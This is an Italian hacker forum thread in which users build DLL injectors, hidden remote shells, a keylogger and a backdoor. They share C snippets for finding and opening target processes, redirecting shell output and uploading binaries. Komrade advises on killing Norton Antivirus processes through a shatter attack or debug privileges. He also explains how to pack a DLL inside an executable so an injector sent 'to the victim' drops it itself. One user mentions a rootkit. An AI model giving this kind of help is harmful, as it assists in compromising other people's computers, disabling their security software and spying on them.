volevo kiedere se qualcuno conosce la vncdll.dll ke sta sul metasploit framework e sa come utilizzarla.
la vncdll.dll genera una connessione di tipo vnc, in connectback, cioe' invece ke iniettare in un processo una dll ke ci da' una shell testuale, iniettando questo avremmo una shell grafica, tipo remote desktop :P
ciao ciao
LeVante^:
Ciao Komrade
Allora la domanda non è banale. Devi diversi codici C/C++ ke fanno DLL Injection alcuni richiedono il path assoluto dove risiede la dll il tuo invece la dichiara in maniera costante assumento che si trovi in una directory del PATH. Ad ogni modo stamattina li ho riprovati tutti mettendo la dll in C:\Windows\system32 e specificando sia path assoluto che relativo; in entrambe i casi posso affermare con certezza che la dll viene trovata poiché dopo che il programma termina correttamente scrivendo nel log "Injection eseguita", il sistema mi dice che la dll è in uso da 1 altro processo se la voglio cancellare quindi l'injection trova effettivamente la dll che dico io e la locka, tanto è vero che se chiudo il processo target dell'iniezione poi il sistema mi fa cancellare la dll senza problemi. Tuttavia non vedo ancora nessuna MessageBox e nemmeno quella messa prima ancora dello switch nel DllMain. La MessageBox si fa così??? MessageBox(0, "Codice eseguito!!!!", "DLL Loaded", MB_OK); ??? Scusate ma inizio a diventare paranoico.
Komrade:
Ho anche corretto alcuni dettagli sulla visualizzazione del messaggio così potete postare in modo corretto anche del codice (quello di Animanera era bello, ma è venuto fuori non allineato...)
Komrade:
Innanzitutto scusate per i tempi lunghi di risposta,
LeVante^ è molto strano questo errore che ti capita, infatti se il file di log viene creato senza errori significa che l 'iniezione di codice avviene correttamente (se il firewall bloccasse alcune delle funzioni utilizzate dovrebbe tornare un codice di errore, non può bloccarle e non dare errori), secondo me il problema sta nel caricamento della libreria dll.dll. Un firewall difficilmente blocca il caricamento di una libreria (al massimo potrebbe chiedere cosa fare), quindi la domanda più semplice è: sei sicuro che il file dll.dll venga trovato? Hai provato a metterlo nella directory system32 di windows? La domanda è banale ma è l 'unico caso che per ora sono riuscito a ricreare con un errore simile al tuo. Altrimenti dovresti provare a chiamare una dll di sistema e verificare con un debugger che venga caricata nella memoria del processo target. Fammi sapere.
Il problema del buffer troppo piccolo l 'ho messo a posto, pensavo che bastassero 32k per la tabella dei processi, ma ormai vengono caricate così tante cose...
Comunque per quanto riguarda la dll injecion in generale, sicuramente è una tecnica che prima o poi non si potrà più utilizzare, ma per ora dipende da caso a caso, ho notato che soprattutto i firewall free non permettono ancora di bloccare questa tecnica, mentre quelli Pro già lo fanno, quindi la usiamo finché si può, poi ci inventeremo qualcos 'altro.
Ho allungato la textbox dove scrivere, va bene così??
LeVante^:
Per Animanera
Allora il problema della dimensione del buffer si verifica se il numero di processi attualmente in esecuzione è tale da essere troppo grande per entrare nel buffer allocato (da Komrade 0x8000). Infatti se ho troppi processi in esecuzione la trovaPid fallisce ma se chiudo qualche cosa la troVPid funziona correttamente. Ingrandendo il buffer a 0xF000 anche con molti processi la trovaPid non fallisce mai (almeno a me).
Si lo ammetto iniettare in svchost.exe è probabilmente una grossa cazzata e me ne sono reso conto ma in ogni caso non funziona con nessun processo: notepad.exe, calc.exe, IEXPLORE.EXE ecc...
La DLL è quella postata da Komrade con la MessageBox ovviamente solo nel case di DLL_PROCESS_ATTACH ma non è che non entra nel case...non entra proprio nel DLLMain!!! Infatti se prima ancora dello switch ci metto un 'altra MessageBox comunque non vedo niente!Cioè nella DLL non ci entra proprio indipendentemente dalla reason e come ho già detto anche su quell 'altro pc con windows 2000 SP4 ottengo le medesime cose.
Il mio firewall è il Tiny Personal Firewall 6 e ti assicuro che ha un modulo di nome Windows Security in cui oltre ad essere registrati gli MD5 delle applicazioni che usano la rete ci sono anche gli md5 delle dll relative a ciascun processo con la possibilità di inserire/modificare le trusted dll o anche aggiungere checksum diversi allo stesso file exe o alla stessa dll (per esempio in caso di un Live Update non cambia la posizione e il nome di un 'applicazione/dll ma poiché viene aggiornata, il suo MD5 cambia ed il firewall mi chiede cosa voglio fare).
Si va bene ma quello schifoso pc con win 2k SP4 ha il Tiny Firewall 1.0 !! Che non ha nulla di tutto ciò e probabilmente lo freghi anche solo rinominando l 'applicazione! ;-DDD e COMUNQUE in nessuno dei 2 casi eliminando il firewall con tutti i relativi moduli (cioè tutto spento nessun controllo, come dico io "a cosce aperte " ;-DD) la dll injection non funziona nè da una parte nè dall 'altra.
Con questo non voglio dire che è 1 problema del codice di Komrade, ne avrò provati una decina di codici C/C++ che fanno DLL Injection nelle ultime settimane se vuoi posso postarti anche i link ma non c 'è stato niente da fare. ;-(
Animanera:
Komrade, sara ' il caso di allargare la textbox? :D:D
sono impazzito x scrivere il post precedente :D
ciao ciao :P
Animanera:
ciao a tutti,
non so cosa sbagliate ma a me funziona xfettamente il programmino di komrade...
credo ke vi state complicando troppo la vita con dimensioni di buffer strani...
se e ' un problema di trovaPid() (mi ha dato qualke problemino) esistono delle API di debug ke operano in maniera un po ' + pulita, vi posto il codice:
#include <tlhelp32.h>
int getpidbyname(char *s){
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
pe32.dwSize = sizeof( PROCESSENTRY32 );
Process32First( hProcessSnap, &pe32 );
do{
hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
if(hProcess && !strcmp(s, pe32.szExeFile) ){
CloseHandle( hProcessSnap );
return( pe32.th32ProcessID );
}
} while( Process32Next( hProcessSnap, &pe32 ) );
CloseHandle( hProcessSnap );
return( -1 );
}
LeVante^ nn credo sia una buona idea iniettare in svchost.exe... anke xke ' ce ne sono almeno 4 e visto ke la trovaPid() di Komrade si basa sul nome dell 'eseguibile, nn riuscirai a iniettare nel svchost giusto (cioe ' quello ke in genere ha pid 640). io in genere faccio le prove con calc.exe :P.
poi nella dll dove l 'hai messa la MessageBox? sempre x provare e senza usare hooking, io metto una MessageBox diversa in ogni case dello switch con il relativo nome del case. cmq se la metti sotto DLL_PROCESS_ATTACH viene eseguita appena viene caricata la dll, am credo lo saprai gia ' ;)
x qnt riguarda l 'argomento firewall io ho installato l 'ultima versione di ZoneAlarm, quella Pro, e il controllo di injection nn esiste proprio :P. ne ho provati parekki e l 'unico ke mi da ' problemi e ' kerio, ke controlla la porta e nn il prg.
cmq volevo sapere se qualcuno di voi conosce un modo, una volta connessi a una shell remota, di puttare o gettare files...
ho provato tftp ma il fw me lo blocca :(
spero di essere stato d 'aiuto ;)
a presto
LeVante^:
Salve ragazzi
Ahimè devo darvi altre brutte notizie.
1) Il tool della Microsoft INJLIB non funziona!! Mi ero sbagliato poiché quella MessageBox che si vede è nel codice di INJLIB e non nella dll di prova infatti del codice presente nella dll "injettata " non viene eseguito un bel niente ;-(. Per coloro che volessero tentare un 'ultima volta esperimenti sull 'argomento consiglio di cercare "madCodeHook " che è una libreria disponibile in C/C++/Delphi per effettuare DLL Injection ed API hooking in maniera sicura e su diversi sistemi della famiglia Windows. Personalmente non l 'ho ancora provata ma in molti garantiscono che sia la migliore.
2) Un 'altra brutta notizia è che in ogni caso man mano che cercavo info su come risolvere il problema mi sono reso conto che si tratta di un tecnica ormai inutile. Infatti i maggiori produttori di Firewall vigilano da tempo sulle dll iniettate in processi fidati impedendo a queste ultime di accedere ad Internet. Non dico balle mi sono reso conto che il mio Tiny Personal Firewall ha un modulo che si occupa esclusivamente di questo nella parte IDS/IPS e non è una cosa recente a quanto pare, sembra che McAfee e ZoneAlarm abbiano preso altrettanti provvedimenti. Ad ogni modo fintanto che la dll non cerca di accedere alla rete il processo è comunque "invisibile " al task manager e questo era lo scopo principale dell 'articolo. A questo punto propongo fra i prossimi argomenti i vari leaktest per bypassare un firewall ;-D Komrade sono ansioso di sentire la tua.
pinco pallino:
ciao a tutti
sono di nuovo io per dire che ho risolto il problema della libreria.
comunque siccome a me la dll injection dà lo stesso problema di LeVante volevo chiedere se c 'è qualche correzione per far funzionare la dll injection senza ricorrere al tool della microsoft
grazie in anticipo
pinco pallino:
ciao a tutti
LeVante^:
Salve a tutti
Scusate se vi rompo nuovamente con l 'argomento DLL Injection nello spazio di un altro processo ma ho una "buona " notizia. Finalmente sono riuscito ad iniettare una dll in un processo (iexplore.exe) ma non l 'ho fatto col codice di Komrade bensì con un tool della Microsoft (si avete capito benissimo) si chiama INJLIB ed è stato scritto da Jeffrey Richter nel 1994. INJLIB è una collezione di librerie ed un tool di testing per injettare una dll nello spazio di un qualsiasi processo in ambiente a 32-bit. I passi sono pressoché gli stessi del codice di Komrade solo che è in C++ e nonostante funzioni (stavolta vedo quella maledettissima MessageBox) ho ancora un problema...sigh ;-( si perché dopo aver iniettato la dll, il processo target crasha. Non sono riuscito a capire da cosa possa dipendere però proverò a debuggare.
LeVante^:
Ciao Komrade
Purtroppo ho ancora brutte notizie sigh ;-( ho ri-testato il tuo Dll_Injector con la tua dll (quella semplice della MessageBox) su un pc diverso con Windows 2000 SP4 ho provato a injettare in iexplore.exe e vari altri processi sia utente che di sistema ma nulla da fare. A differenza del mio non necessita di 1 dimensione più grande ovvero nel file di log non scrive alcun errore, enumera i processi correttamente ed arriva a scrivere injection eseguita ma non ho ancora MAI visto quella maledettissima MessageBox. La volta scorsa avevo fatto 1 modifica pressoché irrilevante e stavolta nessuna modifica ed in entrambe i casi non funziona niente. Alkl 'inizio avevo pensato che potesse essere il mio firewall che registra l 'md5 di tutte le applicazioni e le rispettive dll. Ma ho provato anche a disabilitare quella caratteristica e l 'altro pc inoltre ha un firewall molto vecchio che non fa di queste cose. Come è possibile?? Please Help
pinco pallino:
ciao a tutti volevo chiedere quale libreria includere per il seguente errore:
simbolo esterno _WSAPROTOCOL_INFOA *,unsigned int,unsigned long) " (?WSASocketA@@$$J224YGIHHHPAU_WSAPROTOCOL_INFOA@@IK@Z) non risolto
grazie in anticipo
LeVante^:
Ciao Komrade
Non so se ti ricordi di me. Volevo provare il tuo codice per fare DLL Injection, all 'inizio avevo fatto una dll che apriva una connessione in listening ho provato a iniettarla in svchost.exe ma niente non funzionava. Mi dava un errore "Errore ZwQuerySystemInformation() dimensione minima buffer " così ho provato ad alzare un pò la dimesione del buffer pStruct che ora è inizializzato a 0xF000, ora il codice otteneva la lista dei processi e scopriva il pid ma ugualmente non funzionava. Così ho deciso di prendere proprio il tuo con la tua dll con la MessageBox (e quella piccola modifica in trovaPid alla dimesione del buffer pStruct) e non funzionava neanche quella. All 'inizio avevo pensato che forse non godevo di sufficienti privilegi per aprire quel processo ma il file di log arriva a scrivere Injection Eseguita inoltre anche col tuo (che inietta in Internet Explorer) scrive sempre Injection eseguita ma non esegue nulla di nulla. Cioè nel caso della tua dll mi aspettere di vedere 1 MessageBox invece neanche il tuo funziona? Cosa sto sbagliando secondo te? L 'unica modifica che ho fatto è quella che ti ho detto. Ho Windows XP SP1.
Animanera:
grazie Komrade, ha fatto il suo dovere (cm al solito :D)
verrai inserito nei crediti del mio rootkit :P
ciao ciao a presto
Komrade:
Risposta a Umby81:
Così in generale non saprei come aiutarti, se hai creato del codice dove ci sono errori o trovi diccolta mandamelo, altrimenti non posso esserti utile...
Risposta a Animanera:
La funzione CreateFile() che utilizzi è giusta (non usare fopen() o open()), però per poter utilizzare il file come standard output in un processo figlio hai bisogno di specificare nella CreateFile() la struttura SECURITY_ATTRIBUTES. Leggi qui:
lpSecurityAttributes
Pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle can be inherited by child processes. If lpSecurityAttributes is NULL, the handle cannot be inherited.
Il codice dovrà essere come questo:
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL; //default security descriptor
sa.bInheritHandle = TRUE; //questo ti permette di ereditare l 'handle nel processo figlio
hFile = CreateFile(TEXT( "temp.txt "), // file to create
GENERIC_WRITE, // open for writing
FILE_SHARE_WRITE, // share
&sa, //no default security
CREATE_ALWAYS, // overwrite existing
FILE_ATTRIBUTE_NORMAL, // asynchronous I/O
NULL); // no attr. template
Per tutti:
Chi sa lo spagnolo e mi traduce ciò che è stato scritto da Tamalera???? Io non ci capisco molto....
Animanera:
ciao Komrade,
ho un piccolo problema con le si.hStdOutput e si.hStdError.
nella tua shell remota le hai assegnate a un socket e funzionava tranquillamente in quanto i socket v2 di win sono anke pipes (giusto no?). mi servirebbe di assegnarle, invece ke a un socket, a un file ma nn ci riesco. ho provato ad attaccargli sia un descriptor ke un pointer, ma nn va. credo ke rikieda un handler, ma nn so cm ottenerlo usando open o fopen. ho trovato la API CreateFile che mi ritorna un handler ma nn va uguale :(
ti incollo il codice:
#include
#include
#include
void main( VOID ){
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hFile;
hFile = CreateFile(TEXT( "temp.txt "), // file to create
GENERIC_WRITE, // open for writing
FILE_SHARE_WRITE, // share
NULL, // default security
CREATE_ALWAYS, // overwrite existing
FILE_ATTRIBUTE_NORMAL | // normal file
FILE_FLAG_OVERLAPPED, // asynchronous I/O
NULL); // no attr. template
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = hFile;
si.hStdError = hFile;
ZeroMemory( &pi, sizeof(pi) );
// Start the child process.
if( !CreateProcess( NULL, // No module name (use command line).
TEXT( "netstat -n "), // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
TRUE, // Set handle inheritance to TRUE.
0, // No creation flags.
NULL, // Use parent 's environment block.
NULL, // Use parent 's starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi ) // Pointer to PROCESS_INFORMATION structure.
)
{
printf( "CreateProcess failed (%d). n ", GetLastError() );
return;
}
// Wait until child process exits.
WaitForSingleObject( pi.hProcess, INFINITE );
// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
CloseHandle( hFile );
printf( " nfinito n ");
}
grazie in anticipo :D
Tamalera:
Disculpe señor, no quiere comprar tamales calientitos oaxaqueños? Estan buenisimos siñor!
umby81:
ciao,qualcuno puo ' aiutarmi realizzando un applicazione client server con l 'interfaccia socket in linguaggio c ,che realizzi il gioco del 7emezzo(il piu ' semplice possibile)?
per ora so solo cosa fanno la bind,listen,accept,read e write la connect sendto e recevfrom,mi serve per un esame...
vi prego aiutatemi Umby81@inwind.it
Komrade:
Un buon tutorial da cui partire lo trovi a questo indirizzo (in italiano):
http://www.aleax.it/TutWin32/
mentre in questo file sono presenti tutte le più importanti api di windows con i loro parametri e i loro valori di ritorno (in inglese):
http://quequero.org/store/tools/Win32.zip
Comunque il riferimento migliore rimane l 'msdn, soprattutto gli esempi di codice che sono presenti.
Ciao
sn0z33r :
ciao komrade, innanzitutto i miei complimenti per i contenuti del tuo sito ;)
Aspiro a diventare un buon coder ma ho ancora parecchia strada da fare... dato che tu fai largo uso delle api di windows vorrei chiederti un consiglio, anzi forse meglio dire un favore :P
Dato che la programmazione di windows a livello di api mi interessa molto, hai della documentazione da consigliarmi (anche da acquistare) aggiuntiva all 'msdn che magari tratti gli argomenti in modo progressivo partendo dal messagebox alla creazione di form complessi ect ect ? (magari in ita.. ma anche in eng va bene :P)
ciao e complimenti ancora per il sito ;)
Komrade:
Risposta a Nabucodonosor:
Per accedere a ring0 in windows NT devi creare un driver (i file vxd)
Guarda su questo sito http://win32asm.cjb.net/ ci sono dei bei tutorial sui file vxd.
Risposta a Animanera:
Io non ti posso aiutare, non sono esperto di reti... se c 'è qualcuno che ha qualche idea si faccia avanti
Risposta a LeVante:
Sono solo degli argomenti che ho trovato interessanti e che ho approfondito, rendendo accessibili a tutti i risultati ottenuti. Peccato che ultimamente non abbia molto tempo da dedicare a qualche nuovo tutorial...
LeVante^:
Davvero favoloso ho sempre cercato degli Italiani con queste conoscenze. Io programmo x passione, preferibilmente C ma anche C++, Java e Perl; adoro "sporcarmi le mani " con le raw socket ed ho avuto la fortuna di vedere pubblicati un paio di miei programmi però lo ammetto...tu hai delle conoscenze incredibili ;-D ...l 'ultimo articolo sul code injection è qualcosa che non avevo mai visto in Italiano. Veramente bravo, mi piacerebbe conoscerne altri come te.
Animanera:
ciao a tutti!!
mi e ' stato regalato un router wireless belkin, ma nn rieco a configurarlo cm voglio, magari mi potete aiutare :)
il router consente fino a 40 connessioni wireless e fino a 4 connessioni lan, cioe ' il router ha 5 porte ethernet, 4 sono dedicate alla LAN e all 'altra, in teoria, andrebbe collegato il modem ethernet.
modem eth -> router ->pc1, pc2, ecc...
io purtroppo ho un modem usb :( quindi avevo pensato di fare una cosa del genere:
modem usb -> pc1 -> router -> pc2, pc3, ecc.
ma nn riesco a configurarlo cosi '...
qualke idea??
ciao ciao
Nabucodonosor:
Come posso entrare in Ring0 sotto WinXP
Komrade:
Il valore INADDR_ANY lo utilizzi per non dover specificare l 'indirizzo IP al quale il server è associato (per esempio potresti ditinguere l 'indirizzo interno di una rete da un indirizzo internet). Così il tuo server accetterà connessioni da qualsiasi tipo di indirizzo, sia interno alla rete che esterno.
Blanka:
ciao ragazzi, ho un problema... sto creando una piccola applicazione client - server basata su socket.
Ora sto sviluppando il server. Guardando anke gli esempi su questo sito non riesco a capire perchè nel settaggio della struttura socket, viene settato il valore "INADDR_ANY " precisamente : "sin.sin_addr.s_addr=htonl(INADDR_ANY); ".
Infatti INADDR_ANY è 0.0.0.0... non bisogna settare l 'indirizzo IP che ha il computer in quel momento?
Grazie
sebastian :
per chi può usi lcc per compilare = un po ' scomodo, piccolo ma efficace , maturalmente sotto winzoz!!!!
Animanera:
cm nn detto :P
idea geniale dell 'ultimo secondo :D
Animanera:
grazie komrade e ' stato parekkio utile il link.
xo ' nn riesco a creare un servizio autoinstallante...
qualke consiglio?
%esp64:
ops, ho sbagliato. il punto era di far partire sta benedetta shellcon una finestra nascosta e come mi avevi detto ho compilato con windows application. La shell e ' nascosta e fin qui tutto bene. mi connetto ad essa, e anche qui tutto bene. quando faccio exit sminchia pero '!nello scorso post ho invertito console con windos application. in realta ' quando compilo con console application (quindi appare la finestra) non ho problemi, mentre ne ho con l-opzione windows application. Questo e ' il punto..
Komrade:
Per %esp64:
La shell non dovrebbe essere eseguita come console application, ma come windows application quindi se così ti funziona è tutto ok...
Per Animanera:
Ho trovato un testo molto interessante e semplice sulla creazione di un servizio in C:
http://www.devx.com/cplus/Article/9857/0/page/1
%esp64:
Allora..semplicemente è un prg che runna due thread. Uno con una shell su di una determinata shell (copia incollato dal code di komrate :> ) e l 'altro con un semplice keylogger. Se avvio l 'eseguible compilando come "windows app " (come opzione di lcc-win32) tutto ok, funza tutto. La shell worka benissimo, pure il keylogger. Se invece compilo l 'eseguible con l 'opzione console application il keylogger worka bene, invece la shell no! esempio quando mi connetto e mi sconnetto con il comando da prompt "exit " la connessione è congelata. ed è stranissimo, xkè compilando come windows appl non ho questo problema ! che strano..
Animanera:
%esp64 cm hai fatto ad avviarla cm servizio?? secondo me ti stai sbagliando... io ho letto qualcosa sui servizi (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vbcon/html/vboricreatingconfiguringwindowsserviceapplications.asp) e ti assicuro ke crearli nn e ' una cosa facile, nn possono essere fatti in c facilmente, ma si dovrebbe di norma usare c#, e poi vanno installati!!! cmq ke vuol dire ti si incasinano i thread? in ke senso? mica fanno mutex...
%esp64:
grazie komerate per la questione di lcc-win32..però ora mi sorge un nuovo problema in quanto l 'applicazione è si avviata come servizio ma mi si incasinano i threads ! o meglio nn si comportano come dovrebbero, mentre se il sorgente è compilato con l 'opzione Windows appl nessun problema..mha..sai dirmi qualcosa?grazi!
:
Blanka:
Per Komrade:
sono riuscito in parte in quello che volevo fare, o meglio riesco a terminare il processo più importante dell 'antivirus con la PostThreadMessage, praticamente inserisco nella coda messaggi del processo il messaggio WM_QUIT.
Il problema però è che gli altri due processi che voglio terminare, sempre riguardanti NAV 2005, non hanno una coda messaggi, e la PostThreadMessage, se il processo non ha cosa messaggi fallisce....:-(((
L 'unico modo che mi rimane è utilizzare le due API native NtTerminateProcess e LdrShutdownProcess, che combinate insieme dovrebbero forzare la chiusura di un processo. Però non riesco a utilizzarle in quanto non trovo il file header ntdll.h nel quale sono definite. Ho solo il file lib ntdll.lib preso dalle DDK di windows 2000.
E ' un gran casino...
Blanka:
Per Komrade:
sai ho trovato un metodo per fare quello che voglio... domani appena finisco ti faccio sapere... si basa sull 'API PostThreadMessage...
Intanto grazie mille
Komrade:
Per Blanka:
Non hai bisogno di un handle al processo per usare lo shatter attack, esso si basa sugli handle degli elementi presenti nel desktop (che possono essere textbox, bottoni, editbox... visibili o non visibili all 'utente). Questi handle li ottieni tramite la EnumWindows() e la EnumChildWindows(), che non necessitano di alcun handle al processo. Con ShatterHunter (programma presente nel tutorial) ottieni tutti gli handle delle finestre presenti sul desktop.
Per %esp64:
Se compili con lcc-win32 tramite lina di comando, ti basta chiamare "lcclnk -subsystem windows nomefile.obj ", se invece crei un progetto, vai sul menu "Compiler -> Settings " apri la scheda "Linker settings " e scegli "Windows appl " invece di "Console appl "
%esp64:
ciao a tutti vorrei fare in modo che una prog al suo avvio venga lanciato in background, e che l 'eventuale finestra del dos non appaia. ho provato ad usare il codice con GetProcAddress() e a_Register() ma non sembra funzionare (ed è molto strano..). Premetto che ho compilato con lcc-win32 sotto winMe. grazie
Blanka:
Per Komrade:
Non dubito x nulla di ciò che mi dici, però la cosa che nn capisco è come posso inviare messaggi se nn ho nemmeno l 'handle del processo che voglio terminare. Se lo avessi svrei già usato la terminateprocess.... quello che voglio dire è che io ho bisogno di un handle e nn ce l 'ho...
Komrade:
Non dubitare di quello che ti dico... Lo shatter attack può funzionare anche se non c 'è nessuna finestra visibile, io per esempio riuscivo a far crashare Zone Alarm (anche se non c 'era nessuna finestra aperta). Io un tentativo lo farei, poi vedi tu... Il problema degli unpacker sono le differenti versioni del packer, per quello sarebbe meglio fare il manual unpacking (anche se è più farticoso)
Blanka:
Per Komrade:
io di reversing non so nulla purtroppo, anke se presto arriverò a conoscere anke quello (spero). Comunque per quanto riguarda lo shatter attack a me nn serve a nulla, non è un processo a cui è legata una finestra, quindi l 'invio di messaggi non può portarmi da nessuna parte.
Piuttosto ho trovato un WWPACK unpacker ma nn riesce neppure quello a unpackare quel maledetto Security task manager. Non capisco se è colpa mia o è davvero protetto cs bene.
Komrade:
Ho dato una occhiata al security task manager ed è packato con WwPack, se hai conoscenze di reversing e tempo da perderci, puoi provare qualche unpacker o con il manual unpacking, altrimenti per far crashare norton 2005 hai provato con lo shatter attack?
Blanka:
Sono sempre io... allora ho provato con ben 3 debugger (IDA, Olly debugger e DASM) ma nulla da fare, il security task manager non si riesce a debuggare, sembra inibito o protetto in qlke modo... Lo stesso vale per i processi del norton 2005. La sola soluzione che fino ad ora mi è passata per la mente è quella di mandare in crash il processo di quel porco di norton in un qualke modo... ma nn so come :-(( se qlcuno può aiutarmi...
Grazie
Komrade:
Il miglior debugger è SoftIce, che fa parte del driver studio, ma se non vuoi stare molto tempo a cercare e scaricare il driver studio (che è molto pesante) una ottima alternativa è OllyDebugger.
Blanka:
Per Komrade:
Intanto grazie per avere risposto... si comunque ho utilizzato SE_DEBUG_NAME... o meglio "SeDebugPrivilege " che è la stessa cosa... comunque non funziona in ogni caso... proverò con qualche debugger... In particolare che debugger mi consigli? Grazie ankora...
Komrade:
Per Animanera:
Il metodo più semplice è quello di aggiungere alla fine dell 'eseguibile la dll già compilata (con un editor esadecimale). L 'eseguibile funziona lo stesso, e al suo interno puoi inserire i comandi per posizionarti all 'inizio della dll e crearla leggendo i bytes fino a fine file.
Per blanka:
Anche utilizzando quelle due strutture (con le funzione Process32First(), Process32Next()) è possibile avere una lista dei processi, questione di compatibiltà tra i vari windows...
Per quanto riguarda il tuo tentativo di chiudere norton antivirus 2005, prima di chiamare la OpenProcess() hai abilitato il privilegio SE_DEBUG_NAME? La funzione NtOpenProcess(), sembra simile alla normale OpenProcess(), quindi non so se la differenza è nella chiamata di questa funzione... Comunque cerca di capire come agisce security task manager (magari con un debugger), dato che questo programma riesce a terminarlo.
blanka:
Scusate ragazzi ma ho un altra domanda, sto cercando di terminare i processi di norton antivirus 2005, con i metodi tradizionali nn funziona, o meglio riesco a prendere il pid dei processi che mi interessano, ma non riesco a farmi restituire l 'handle del processo in questione, infatti la openprocess mi ritorna 0.
Allora ho provato a vedere con qualke task manager diverso da quello di windowzz 2000 (security task manager) se riuscivo a terminarlo e riesco.
A questo punto con dependency walker di microsotzzz ho guardato che librerie carica il security task manager e vedo che carica la ntdll.dll della quale utilizza la funzione non documentata di nome NtOpenProcess che probabilmente è la funzione che mi serve per ottenere sto ca..o di handle, ma non riesco ad utilizzarla.... qlcuno mi può aiutare?
blanka:
Vorrei fare una domanda riguardante l 'articolo dllinjection e shark attack...
Io da un pò di tempo ho sviluppato un task manager in vb, win9x e win 2k/xp compatibile, inoltre sto sviluppando una piccola backdoor in vc++, e in entrambi i casi ho avuto la necessità di terminare i processi.
Nella backdoor però non ho utilizzato le strutture predefinite di windows 2000 e xp per avere le informazioni sui processi, ma semplicemente mi sono accorto che anke utilizzando la struttura PROCESSENTRY32 e MODULEENTRY32 di win98 riesco a sapere pid e nome dei processi in esecuzione, senza bisogno di utilizzare le API e le strutture che avete utilizzato voi... come è possibile?
Animanera:
x Komrade:
si, ho provato a iniettarlo anke dentro kerio e nn mi lascia passare, ma ho fatto di piu '... ho usato la socktopt su una porta gia ' aperta ma mi impedisce di riutilizzarla!! l 'unico sistema x ora e ' killarlo... xo ' e ' troooppo sgamato... e bravo kerio :P
ah, ti volevo kiedere, conosci un modo x creare una dll da un eseguibile? mi spiego: mando l 'exe, l 'injector, alla vittima ma vorrei ke lui stesso controllasse se shell.dll e ' presente in c: %SystemRoot% system32 e in caso nn ci fosse provvedesse lui a crearla. ho pensato di mettere il codice della dll compilata in un buffer dell 'exe prima di compilarlo, ma nn so cm fare!!
x Dibe:
io ti consiglio di lavorare al livello piu ' basso, cioe ' utilizzare direttamente i kernel level thread read() e write(), queste funzionano di sicuro, cmq anke fread() e fwrite() nn ti dovrebbero dare problemi
ciao ciao
Komrade:
Risposta per elCare:
Ho provato con Windows 98 e la versione RemoteShellv2.0 dà dei problemi, invece RemoteShell funziona correttamente inserendo command.com come shell_name:
#define SHELL_NAME "command.com 0 "
ricorda che per far funzionare RemoteShell devi passare come parametro la porta su cui vuoi aprire la shell. Almeno in locale deve funzionarti...
Risposta a Dibe:
Io ti sconsiglio di utilizzare le funzioni fprintf() o fgets() per aprire i file in modo binario, utilizza piuttosto fread() e fwrite(), che con i file non di testo non danno alcun problema.
Risposta per Animanera:
Se Kerio controlla solo le porte, bisogna avere la fortuna di iniettare codice nei programmi che utilizzano le porte che Kerio lascia passare (è un po ' limitante...), ma neanche iniettando codice in Kerio stesso si può fare qualcosa???
Dibe:
ciao a tutti stavo provando a fare una sorta di uploader per file binari, che consiste in un semplice server che prende i dati che riceve sulla porta su cui è bindato, e li fprintf()effa in un file (il file eseguibile). Ho creato poi un client che apre in locale un file binario e lo invia in questo modo :
fd = fopen(...file..);
while( !feof(fd) ) {
fgest(fd, buf, sizeof(buf));
send(socket, buf, strlen(buf), 0);
}
[..etc..]
Ora il punto è che se testo il tutto utilizzando un file testuale normale, non ho problemi e viene inviato tutto corretamente, mentre se cerco di uplodare un file binario (un eseguibile .exe) in sostanza l 'uploading termina prima della fine del file e non ho corrispondenza tra il contenuto del file binario in locale e quello uppato sul server..pensavo fosse un problema di "apertura " del file, cosi ho messo come flag "rb " in lettura e "wb " in scrittura, e in definitiva mi manda un pò di roba ma il resto lo sminchia.. inoltre ciò che viene salvato non corisponde al binario locale ! Potreste suggerirmi qualcosa ?
grazie mille
ciao
Animanera:
scusa nn ti volevo offendere... solo ke un mio amico ha avuto lo stesso problema...
cmq con locale cosa intendi? localhost o LAN?
a me in remoto funziona solo sulla porta 23 e nn so xke '... prova a mettere anke tu questa porta... o magari potrebbe essere un problema di firewall o di router, se ne hai...
elCare:
Animanera non sono cosi coglione :) e inoltre mi connettevo da una shell linux..quindi..cmq ho provato entrambe le versioni, sia da locale che remotamente e nulla! >(
Animanera:
x Komrade:
ok ora gli do un 'okkiata, fortunatamente l 'inglese nn e ' un problema :)
x qnt riguarda kerio e ' proprio cm dici tu, gestisce il traffico sulle porte fregandosene del programma ke fa la rikiesta... infatti e ' un casino configurarlo a causa dei molti programmi ke aprono porte a random...
nn vedo l 'ora di spulciare il prox tutorial!! magari sara ' utile x i Bof che sto cercando faticosamente di imparare? :P
x elCare:
dahahahahaha no lo so io quale e ' il problema!!! tu hai telnet con sfondo bianco vero? cambiagli sfondo!! o meglio usa NetCat!! :P
ciao ciao
Komrade:
Risposta per Animanera:
Per creare un serivizio in windows qui puoi trovare delle informazioni utili qui: (stranamente in inglese...)
http://msdn.microsoft.com/library/default.asp?
url=/library/en-us/vbcon/html/
vboricreatingconfiguringwindowsserviceapplications.asp
Per quanto riguarda i firewall volevo chiederti cosa controlla esattemente di diverso Kerio? direttamente le porte? quindi tutto ciò che passa da una porta viene controllato senza che il firewall si interessi da che programma avviene la richiesta?
P.S. non scusarti per fregarmi il posto, anzi grazie...
Risposta per elCare:
Con command.com dovrebbe funzionare, prova se dalla macchina locale riesci a connetterti, e comunque dicci quale versione di RemoteShell usi.
Per tutti:
Vi voglio anticipare l 'argomento del prossimo tutorial, che arriverà nel più breve tempo possibile (spero presto...):
come eseguire codice su una macchina che non ha a disposizione nessun compilatore, interprete o altro, solo gli strumenti che ci mette a diposizione Windows (che sono tanti e quindi è uno spreco non conoscerli a dovere).
elCare:
